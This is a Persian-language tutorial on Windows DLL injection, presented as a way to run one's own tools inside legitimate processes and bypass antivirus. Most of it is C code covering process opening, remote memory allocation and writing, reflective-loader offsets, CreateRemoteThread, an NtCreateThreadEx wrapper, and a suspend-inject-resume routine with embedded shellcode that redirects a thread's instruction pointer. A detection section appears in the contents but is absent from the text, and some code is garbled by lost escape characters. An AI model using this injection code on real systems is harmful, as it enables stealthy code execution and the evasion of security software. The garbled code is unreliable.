جدول محتوا
- پیشگفتار
- بررسی اجمالی
- نقطهی شروع اجرا
- استفاده از تابع () LoadLibraryA
- پرش به DllMain
- گام اول: اتصال به پروسس
- گام دوم: تخصیص حافظه
- مسیر DLL
- DLL کامل
- گام سوم: کپی کردن DLL یا تعیین آدرسها
- مسیر DLL
- کپی کردن کامل DLL
- تعیین نقطهی شروع اجرا
- مسیر DLL و () LoadLibraryA
- تکنیک استفاده از DLL کامل و پرش به DllMain
- گام چهارم: اجرای DLL
- استفاده از تابع () CreateRemoteThread
- استفاده از تابع () NtCreateThreadEx
- تعلیق، تزریق و بازیابی
- شناسایی تهدیدات مبتنی بر تزریق DLL
- ویدیوی تشریح این مقاله
پیشگفتار
تزریق DLL یا همان DLL Injection در واقع فرآیندی است که طی آن، یک قطعه کد مورد نظر خودمان را در یک پروسس شناخته شدهی در حال اجرا قرار میدهیم، تا بدینوسیله کد یا به عبارت دیگر ابزارهایمان را با استفاده از آن اجرا کنیم. به این ترتیب اگر این فرآیند با موفقیت انجام شود، میتوان راهکارهای دفاعی مانند آنتیویروس را دور زد. از آنجاییکه DLLها به طور پیشفرض در زمان اجرا توسط پروسسها بارگذاری میشوند، اغلب قطعه کدی که قصد اجرای آن را داریم نیز به صورت یک DLL به پروسس مورد نظر میدهیم. در این روش، توجه به این نکته مهم است که برای دسترسی به حافظهی یک برنامه، نیاز به سطح دسترسی مناسبی در سامانهی هدف خواهیم داشت. در این مقاله یکی از روشهای کلاسیک تزریق DLL به یک پروسس را شرح دادهایم.بررسی اجمالی
ویژگی Windows API تعدادی از توابع مختلف را در اختیار ما قرار میدهد تا با اهدافی مانند ایرادیابی و غیره بتوانیم به برنامههای دیگر متصل شده و تغییراتی در آنها ایجاد کنیم. در این مقاله روشی را توضیح میدهیم که با استفاده از این توابع، تزریق DLL در چهار گام زیر را امکانپذیر میکند:- اتصال به پروسس هدف
- اختصاص حافظه در این پروسس
- کپی کردن DLL یا آدرس آن در حافظهی پروسس و تعیین آدرسهای مناسب برای آن
- قرار دادن برنامه یا پروسس در مسیری که منجر به اجرای DLL شود
نقطهی شروع اجرا
انتخابهای مختلفی برای دستور دادن به پروسس هدف جهت اجرای DLL تزریق شده داریم، به عنوان مثال میتوان به توابعی مانند ()CreateRemoteThread()، NtCreateThreadEx و غیره اشاره کرد. البته ما نمیتوانیم نام DLL خود را به عنوان ورودی به این توابع بدهیم و به جای آن باید از آدرس حافظهی مربوط به آنها برای اجرا کردنشان استفاده کنیم. همانگونه که ذکر شد ابتدافضایی در حافظهی پروسس هدف اختصاص داده و سپس DLL را در آنجا قرار میدهیم و به این ترتیب آن را به عنوان نقطهی شروع اجرا، آماده میکنیم. در حقیقت ما دو مدل نقطهی شروع میتوانیم داشته باشیم، روش اول استفاده از تابع () LoadLibraryA و روش دیگر، پریدن به DllMain میباشد که در ادامه هر دوی این تکنیکها به صورت خلاصه شرح داده شده است.استفاده از تابع () LoadLibraryA
یکی از توابع kernel32.dll است که برای بارگذاری DLLها، فایلهای اجرایی و دیگر کتابخانههای پشتیبانی شده در زمان اجرا کاربرد دارد. این تابع تنها یک نام فایل را به عنوان ورودی دریافت میکند. به عبارت دیگر کافیست تا تنها مقداری حافظه برای آدرسی که به DLL ما اشاره میکند اختصاص دهیم و نقطهی شروع اجرای خود را بر روی آدرس () LoadLibraryA تنظیم کنیم. یعنی آدرس حافظه را به آن ارایه دهیم بهگونهای که این مسیر به عنوان یک پارامتر ورودی در نظر گرفته میشود. بزرگترین نقطهضعف استفاده از تابع () LoadLibraryA این است که DLL بارگذاری شده را با برنامهی مورد نظر ثبت میکند و بنابراین DLL ما به راحتی قابل ردیابی و شناسایی است. یک نکته مهم دیگر در خصوص این روش که میتواند کمی آزار دهنده باشد این است که اگر یک DLL قبل از آن یکبار با () LoadLibraryA بارگذاری شده باشد، دیگر آن را اجرا نخواهد کرد. البته میتوان این مشکل را برطرف کرد اما نیاز به برنامهنویسی بیشتری دارد.پرش به DllMain
یک تکنیک جایگزین برای () LoadLibraryA، بارگذاری کامل DLL در حافظه و پس از آن تعیین یک مقدار Offset برای نقطهی ورود DLL (DLL's Entry Point) است. با استفاده از این روش میتوانید از ثبت شدن DLL با برنامه جلوگیری کرده و علاوه برای اجرای بیسروصدا (Stealthy)، آن DLL را هر چندبار که نیاز بود به صورت مکرر در پروسس هدف تزریق کنید.
گام اول: اتصال به پروسس
در گام اول به یک Handle نیاز داریم تا توسط آن بتوانیم با پروسس مورد نظر تعامل داشته باشیم. برای این منظور از تابع ()OpenProcess استفاده خواهیم کرد. همچنین به سطح مناسبی از دسترسی در سیستمعامل نیاز خواهیم دشات تا بتوانیم وظایف نمایش داده شده در شکل زیر را اجرا کنیم. حق دسترسیهای مشخصی که درخواست میکنیم با توجه به نسخهی ویندوز میتواند متفاوت باشد اما در حالت کلی، موارد زیر بر روی اغلب نسخهها کار میکند:
hHandle = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, procID ); |
گام دوم: تخصیص حافظه
در حالت کلی پیش از اینکه بتوانیم چیزی را در یک پروسس تزریق کنیم، به فضایی نیاز خواهیم داشت تا کد مورد نظر مان را در آنجا قرار دهیم. برای این منظور از تابع ()VirtualAllocEx بهره میبریم. تابع () VirtualAllocEx، مقدار حافظهی مورد نیاز را به عنوان یکی از پارامترهای خود میگیرد. اگر از تابع () LoadLibraryA استفاده کنیم، مقداری فضا برای آدرس کامل DLL مورد نظر اختصاص خواهیم داد. اما اگر از تکنیک پرش به DllMain بهره ببریم، باید فضایی برای تمام محتوای DLL تخصیص دهیم. در ادامه هریک از این دو روش شرح داده شده است.مسیر DLL
در صورت انتخاب روش اختصاص فضا برای مسیر کامل DLL، به برنامهنویسی کمتری نیاز است اما نه به میزان چشمگیر، همچنین لازم است تا از تابع () LoadLibraryA استفاده کنیم که یکسری مشکلات را به دنبال خواهد داشت (در بخشهای قبل در این مورد توضیح داده شد)، ابته استفاده از این روش بسیار متداول است. برای اجرای این روش ابتدا نیاز است تا با استفاده از تابع () VirtualAllocEx، مقدارحافظهی کافی برای پشتیبانی از رشتهای که شامل آدرس DLL میباشد را اختصاص دهید:
GetFullPathName(TEXT("somedll.dll"), BUFSIZE, dllPath, //Output to save the full DLL path NULL); dllPathAddr = VirtualAllocEx(hHandle, 0, strlen(dllPath), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); |
DLL کامل
انتخاب روش اختصاص فضا برای تمام DLL، کمی به برنامهنویسی بیشتری نیاز دارد اما نسبت به روش قبل، قابل اعتمادتر بوده و همچنین دیگر نیازی به استفاده از تابع () LoadLibraryA نخواهد بود. برای این منظور ابتدا با استفاده از تابع () CreateFileA یک Handle به DLL مورد نظر باز نموده سپس اندازهی آن را با تابع () GetFileSize مشخص و نتیجه را به تابع ()VirtualAllocEx ارسال کنید:
GetFullPathName(TEXT("somedll.dll"), BUFSIZE, dllPath, //Output to save the full DLL path NULL); hFile = CreateFileA( dllPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); dllFileLength = GetFileSize( hFile, NULL ); remoteDllAddr = VirtualAllocEx( hProcess, NULL, dllFileLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
گام سوم: کپی کردن DLL یا تعیین آدرسها
در این مرحله نوبت آن رسیده است که DLL خود (محتوا یا آدرس) را در فضای حافظهی پروسس هدف کپی کنیم. در واقع اکنون که بخشی از فضای حافظهی پروسس هدف را تخصیص دادهایم، میتوانیم محتوای DLL یا آدرس آن (بسته به تکنیکی که انتخاب کردهایم) را در پروسس کپی کنیم. همانگونه که در بخشهای بعد شرح داده شده است، برای اینکار از تابع () WriteProcessMemory بهره خواهیم برد.مسیر DLL
در این تکنیک میتوانیم به صورت زیر، مسیر DLL خود را در پروسس کپی کنیم:
WriteProcessMemory(hHandle, dllPathAddr, dllPath, strlen(dllPath), NULL); |
کپی کردن کامل DLL
در این روش، نیاز است تا ابتدا DLL مورد نظر خود را در حافظه خوانده و سپس آن را در پروسس هدف کپی کنیم. با استفاده از کد زیر میتوان این فرآیند را اجرا کرد.
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dllFileLength); ReadFile( hFile, lpBuffer, dllFileLength, &dwBytesRead, NULL ); WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dllFileLength, NULL ); |
تعیین نقطهی شروع اجرا
اغلب توابع اجرایی برای شروع کار خود یک آدرس حافظه را دریافت میکنند، در اینجا نیز لازم است تا این مقدار را برای اجرای DLL خود مشخص کنیم. در بخشهای بعد، شیوهی تعیین این آدرس برای هر دو تکنیک مذکور، شرح داده شده است.مسیر DLL و () LoadLibraryA
نیاز است تا حافظهی پروسس مورد نظر خود را برای یافتن آدرس شروع () LoadLibraryA جستجو کنیم، سپس آن را به همراه آدرس حافظهی مسیر DLL به عنوان پارامتر به تابع اجرایی خود ارایه دهیم. برای دریافت آدرس () LoadLibraryA مطابق خط زیر میتوانیم از توابع () GetModuleHandle و () GetProcAddress استفاده کنیم.
loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA"); |
تکنیک استفاده از DLL کامل و پرش به DllMain
با کپی کردن DLL کامل در حافظه، میتوانیم از ثبت شدن DLL خود با پروسس هدف جلوگیری کرده و تزریق قابل اطمینانتری را انجام دهیم. یک قسمت به نسبت دشوار این روش، بهدست آوردن نقطهی ورود به DLL زمانیکه در حافظه بارگذاری شده، میباشد. خوشبختانه تابع () LoadRemoteLibraryR که Stephen Fewer در تکنیک ReflectiveDLLInjection خود از آن استفاده کرده، اینکار را بهطور کامل برای ما انجام میدهد. البته باید در نظر داشت که در اینصورت، روش اجرایی ما تنها به تابع () CreateRemoteThread محدود خواهد شد. بنابراین به جای آن، ما از () GetReflectiveLoaderOffset برای Offset خود در حافظهی پروسسهای مورد نظر استفاده میکنیم و سپس از این Offset به اضافهی آدرس پایهی حافظه در پروسس قربانی هدف که DLL خود را در آن نوشتهایم، به عنوان نقطهی شروع اجرا استفاده خواهیم کرد. در اینجا ذکر این نکته ضروری است که DLL ما باید با Includeها و Optionهای مورد نیاز کامپایل شده باشد بهگونهای که بتواند خود را با تکنیک ReflectiveDLLInjection هماهنگ کند. شیوهی پیادهسازی این تکنیک در شکل زیر نمایش داده شده است.
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff); |
گام چهارم: اجرای DLL
تا اینجا ما DLL خود را در حافظه قرار داده و آدرس حافظه برای شروع اجرای فرآیند را میدانیم. بنابراین تنها کافیست تا به پروسس هدف بگوییم تا آن را اجرا کند. روشهای مختلفی برای این کار وجود دارد که در ادامه برخی از مهمترین آنها را شرح دادهایم.استفاده از تابع () CreateRemoteThread
تابع () CreateRemoteThread شناختهشدهترین و پرکاربردترین روش برای این کار به حساب میآید. این روش بسیار قابل اعتماد است، اما شاید شما به دلایلی مانند دور زدن راهکارهای شناسایی در سامانهی هدف یا تغییراتی که مایکروسافت برای جلوگیری از اجرای () CreateRemoteThread انجام داده، قصد داشته باشید تا از روش دیگری بهره ببرید. از آنجایی که () CreateRemoteThread یک روش تثبیتشده است، شما انعطافپذیری بالایی در شیوهی استفاده از آن خواهید داشت. برای مثال، میتوانید از زبان پایتون برای تزریق DLL در ویندوز بهره ببرید.
rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL); WaitForSingleObject(rThread, INFINITE); |
استفاده از تابع () NtCreateThreadEx
() NtCreateThreadEx یکی از توابع مستند نشدهی ntdll.dll است. ایراد استفاده از توابع مستند نشده، این است که بنابر تصمیم شرکت مایکروسافت، امکان دارد در هر زمانی حذف یا تغییر داده شوند. فراخوانی تابع () NtCreateThreadEx کمی پیچیدهتر از تابع قبلی است. بهگونهای که ما به یک ساختار خاص برای انتقال داده به آن و یک ساختار دیگر برای دریافت داده از آن نیاز خواهیم داشت. یک نمونه از پیادهسازی آن در شکل زیر نمایش داده شده است:
struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer ); HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) { HANDLE hRemoteThread = NULL; LPVOID ntCreateThreadExAddr = NULL; NtCreateThreadExBuffer ntbuffer; DWORD temp1 = 0; DWORD temp2 = 0; ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");if( ntCreateThreadExAddr ) { ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown3 = &temp2; ntbuffer.Unknown4 = 0; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown6 = 4; ntbuffer.Unknown7 = &temp1; ntbuffer.Unknown8 = 0; LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr; NTSTATUS status = funNtCreateThreadEx( &hRemoteThread, 0x1FFFFF, NULL, hHandle, (LPTHREAD_START_ROUTINE)loadLibAddr, dllPathAddr, FALSE, NULL, NULL, NULL, &ntbuffer ); if (hRemoteThread == NULL) { printf("t[!] NtCreateThreadEx Failed! [%d][%08x]n", GetLastError(), status); return NULL; } else { return hRemoteThread; } } else { printf ("n[!] Could not find NtCreateThreadEx!n"); } return NULL; } |
rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam); WaitForSingleObject(rThread, INFINITE); |
تعلیق، تزریق و بازیابی
تعلیق، تزریق و بازیابی، عباراتی غیر رسمی است، برای توصیف فرآیند «تزریق به پروسس هدف با اتصال به آن، تعلیق پروسس و تمام رشتههای (Threads) مربوط به آن، هدف گرفتن یک رشتهی خاص، ذخیرهی رجیسترهای فعلی، تغییر اشارهگر دستورالعمل (Instruction Pointer) جهت اشاره به نقطهی شروع اجرایی شما و در نهایت بازیابی رشته (Thread)». این فرآیند یک روش غیر رسمی است اما با ضریب اطمینان خوبی کار میکند و نیازی به فراخوانی توابع اضافی دیگر ندارد. پیادهسازی این روش کمی دشوار است، اما در صورت علاقهمندی به کسب اطلاعات بیشتر میتوانید به این مقاله رجوع کنید. در شکل زیر نمونهای از پیادهسازی آن نمایش داده شده است:
VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) { /* This is a mixture from the following sites: https://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html https://www.kdsbest.com/?p=159 */ HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); HANDLE thread = NULL; THREADENTRY32 te; THREADENTRY32 te2; CONTEXT ctx; DWORD firstThread = 0; HANDLE targetThread = NULL; PVOID scAddr; int i; unsigned char sc[] = { // Push all flags 0x9C, // Push all register 0x60, // Push 3,4,5,6 (dllPathAddr) 0x68, 0xAA, 0xAA, 0xAA, 0xAA, // Mov eax, 8,9,10, 11 (loadLibAddr) 0xB8, 0xBB, 0xBB, 0xBB, 0xBB, // Call eax 0xFF, 0xD0, // Pop all register 0x61, // Pop all flags 0x9D, // Ret 0xC3 }; te.dwSize = sizeof(THREADENTRY32); te2.dwSize = sizeof(THREADENTRY32); ctx.ContextFlags = CONTEXT_FULL; sc[3] = ((unsigned int) dllPathAddr & 0xFF); sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF); sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF); sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF); sc[8] = ((unsigned int) loadLibAddr & 0xFF); sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF); sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF); sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);// Suspend Threads if(Thread32First(hSnapshot, &te)) { do { if(te.th32OwnerProcessID == GetProcessId(hHandle)) { if ( firstThread == 0 ) firstThread = te.th32ThreadID; thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);| if(thread != NULL) { printf("t[+] Suspending Thread 0x%08xn", te.th32ThreadID); SuspendThread(thread); CloseHandle(thread); } else { printf("t[+] Could not open thread!n"); } } } while(Thread32Next(hSnapshot, &te)); } else { printf("t[+] Could not Thread32First! [%d]n", GetLastError()); CloseHandle(hSnapshot); exit(-1); } CloseHandle(hSnapshot); printf("t[+] Our Launcher Code:nt"); for (i=0; i<17; i++) printf("%02x ",sc[i]); printf("n"); // Get/Save EIP, Inject printf("t[+] Targeting Thread 0x%08xn",firstThread); targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread); if (GetThreadContext(targetThread, &ctx) == 0) printf("[!] GetThreadContext Failed!n"); printf("t[+] Current Registers: nttEIP[0x%08x] ESP[0x%08x]n", ctx.Eip, ctx.Esp); printf("t[+] Saving EIP for our returnn"); ctx.Esp -= sizeof(unsigned int); WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL); printf("ttEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]n", ctx.Eip, ctx.Esp, ctx.Ebp); scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE); printf("t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]n", scAddr, GetLastError()); printf ("t[+] Writing Launcher Code into targetThread [%d]n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL)); printf("t[+] Setting EIP to LauncherCoden"); ctx.Eip = (DWORD)scAddr; printf("ttEIP[0x%08x] ESP[0x%08x]n", ctx.Eip, ctx.Esp); if (SetThreadContext(targetThread, &ctx) == 0) printf("[!] SetThreadContext Failed!n"); // Resume Threads hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); te.dwSize = sizeof(THREADENTRY32); if(Thread32First(hSnapshot2, &te2)) { do { if(te2.th32OwnerProcessID == GetProcessId(hHandle)) { thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID); if(thread != NULL) { printf("t[+] Resuming Thread 0x%08xn", te2.th32ThreadID); ResumeThread(thread); if (te2.th32ThreadID == firstThread) WaitForSingleObject(thread, 5000); CloseHandle(thread); } else { printf("t[+] Could not open thread!n"); } } } while(Thread32Next(hSnapshot2, &te2)); } else { printf("t[+] Could not Thread32First! [%d]n", GetLastError()); CloseHandle(hSnapshot2); exit(-1); } CloseHandle(hSnapshot2); } |